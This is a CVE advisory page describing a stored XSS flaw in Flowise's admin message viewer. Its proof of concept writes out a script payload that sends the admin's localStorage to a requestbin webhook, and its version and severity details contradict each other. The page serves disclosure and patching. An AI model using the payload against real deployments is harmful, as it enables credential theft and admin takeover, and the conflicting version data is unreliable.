CVE-2025-50538 — Vulnerability in flowise — CVE Details
Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.56%). Schedule for your next planned update.
Does your project use an affected flowise version?
Paste your package-lock.json to check it for CVE-2025-50538 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.
Details
The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using <iframe srcdoc="..."> can include arbitrary JavaScript, which is executed when the message is rendered.
PoC
- Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
- Send the following payload via the agent's chat interface:
<iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>"> - As an admin, go to the workflow and click "View Messages".
- The JavaScript is executed in the admin's browser, exfiltrating
localStoragecontent to the attacker-controlled webhook endpoint.
Impact
- Type: Stored Cross-Site Scripting (XSS)
- Who is impacted: Any admin viewing messages in the FlowiseAI UI
- Data at risk: Admin credentials, or sensitive info stored in
localStorage - Severity: High (Account takeover, admin privilege escalation, full panel compromise)
Affected Products
- Ecosystem:
npm - Package name:
flowise - Affected versions:
< 2.2.7 - Patched versions:
1
Advisory Timeline
- First published October 3, 2025 (419 days ago).
- Last revised July 8, 2026 — 277 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install flowise@3.0.8
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| flowise npm · Affected: All versions | 3.0.8 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-79Cross-site Scripting (XSS)MITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.3 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
References
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-964p-j4gg-mhwcWEB
- https://nvd.nist.gov/vuln/detail/CVE-2025-50538ADVISORY
- https://github.com/FlowiseAI/Flowise/pull/4905WEB
- https://github.com/FlowiseAI/Flowise/commit/9a06a85a8ddcbaeca1342827a5fea9087a587d97WEB
- https://github.com/FlowiseAI/FlowisePACKAGE
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5WEB
Frequently Asked Questions
- What is CVE-2025-50538?
- Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.3/10).
- How do I check if my project is affected by CVE-2025-50538?
- CVE-2025-50538 affects flowise. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-50538 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 40.6% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2025-57164CRITICAL
FlowiseAI Pre-Auth Arbitrary Code Execution
- CVE-2025-71338CRITICAL
Flowise allows arbitrary file write to RCE
- CVE-2025-71324CRITICAL
Flowise has an Arbitrary File Read
- CVE-2026-73483CRITICAL
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
- CVE-2026-46442CRITICAL
FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape
- CVE-2026-41137CRITICAL
Flowise: Code Injection in CSVAgent leads to Authenticated RCE
- CVE-2026-40933CRITICAL
Flowise: Authenticated RCE Via MCP Adapters
- CVE-2026-46478HIGH
FlowiseAI: DatasetRow create+update mass-assignment allows cross-workspace row takeover